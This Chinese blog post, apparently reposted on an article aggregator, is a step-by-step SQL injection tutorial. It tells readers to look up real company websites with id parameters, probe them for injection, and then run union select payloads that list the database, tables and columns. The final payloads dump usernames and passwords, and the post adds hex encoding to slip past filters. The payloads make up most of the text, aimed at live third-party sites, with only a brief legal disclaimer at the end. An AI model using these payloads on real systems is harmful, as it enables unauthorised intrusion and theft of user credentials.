渗透测试之sql注入验证安全与攻击性能
2021/9/7 19:09:07
本文主要是介绍渗透测试之sql注入验证安全与攻击性能,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
由于渗透测试牵涉到安全性以及攻击性,为了便于交流分享,本人这里不进行具体网址的透露了。
我们可以在网上查找一些公司官方网站如(http://www.XXXXXX.com/xxxx?id=1)
1、拿到网页后进行查找注入点;
查找注入点的方法可以浏览上一篇文章,这里可以收藏订阅作者的博客园,以便后面发出的文章不被错过;下面再 分享一次如何寻找注入点:
1、通过单引号 ' ; 在 url 后面输入单引号进行回车(如果报错可能存在sql注入为:10%左右)
2、利用逻辑运算(在 url 后面 输入 and 1=1 正常;1=2不正常,sql 注入漏洞概率为:40-60%左右)
3、利用沉睡函数俗称摸鱼函数(在 url 后面输入sleep(10),网页会休眠停留10s ,休眠与网速有关所以sql 注入漏洞概率为:50%左右)
4、利用运算进行测试(eg:id=1 则可以修改为id=2-1或3-2 ,+-×÷都能够进行计算并跑通,sql 注入漏洞概率为:95-100%左右)
2、进行测试报字段通过(order by函数);我的字段是9
在url后面加上order by XXX(整数) 利用XXX多次进行寻找临界值(报错与不报错边缘)
3、通过寻找到的字段后进行联合查询;
URL + union select 1,2,3,4,5,6,7,8,9(会出现字段序号对应的位置,1不要变因为通常第一位是序号,后面数字只是占位置可以改变)
4、查询数据库名;
URL + union select 1,2,database(),4,5,6,7,8,9(database(),所占位置当然也是可以改变的的,不要占用1,就行)
5、查询数据库版本号;
URL + union select 1,2,3,4,version(),6,7,8,9 (version(),所占位置当然也是可以改变的的,不要占用1,就行)
查询数据库版本的目的是因为一旦mysql版本大于5.0必然会有默认库information,如下:
我们通常使用的默认库是:information_schema
6、查询数据库中的表名;
URL + union select 1,2,3,4,group_concat(table_name),6,7,8,9,from information_schema.tables where table_schema=database() 可以查出所有表的表名
7、直接爆出表中用户;
URL + union select 1,2,3,4,group_concat(column_name),6,7,8,9,from information_schema.columns where table_name='表名'
注:有时候开发很聪明会对代码进行特殊字符进行过滤,那么我们就需要进行绕过去,我们可以对’表名‘进行转换为16进制或别的都行然后再进行输入查询
8、查看表中所有信息内容;
URL + union select 1,2,3,4,group_concat(usename,0x7e,password),6,7,8,9,from 表名
则可以查出所有用户具体信息
9、我这里如何破解后台网址以及登录就不再详细演示了(注意密码可能需要进行尝试解密)
提倡网络安全切勿在法律边缘游走,不要随意攻击别人网站,想要练习学习安全知识请浏览上篇文章,如果想更深入学习请订阅或收藏作者博客,后面会将更多信息安全知识分享给大家
这篇关于渗透测试之sql注入验证安全与攻击性能的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-10-06小米11i印度快充版ROM合集:极致体验,超越期待
- 2024-10-06【ROM下载】小米11i 5G 印度版系统, 疾速跃迁,定义新速度
- 2024-10-06【ROM下载】小米 11 青春活力版,青春无极限,活力全开
- 2024-10-05小米13T Pro系统合集:性能与摄影的极致融合,值得你升级的系统ROM
- 2024-10-01基于Python+Vue开发的医院门诊预约挂号系统
- 2024-10-01基于Python+Vue开发的旅游景区管理系统
- 2024-10-01RestfulAPI入门指南:打造简单易懂的API接口
- 2024-10-01初学者指南:了解和使用Server Action
- 2024-10-01Server Component入门指南:搭建与配置详解
- 2024-10-01React 中使用 useRequest 实现数据请求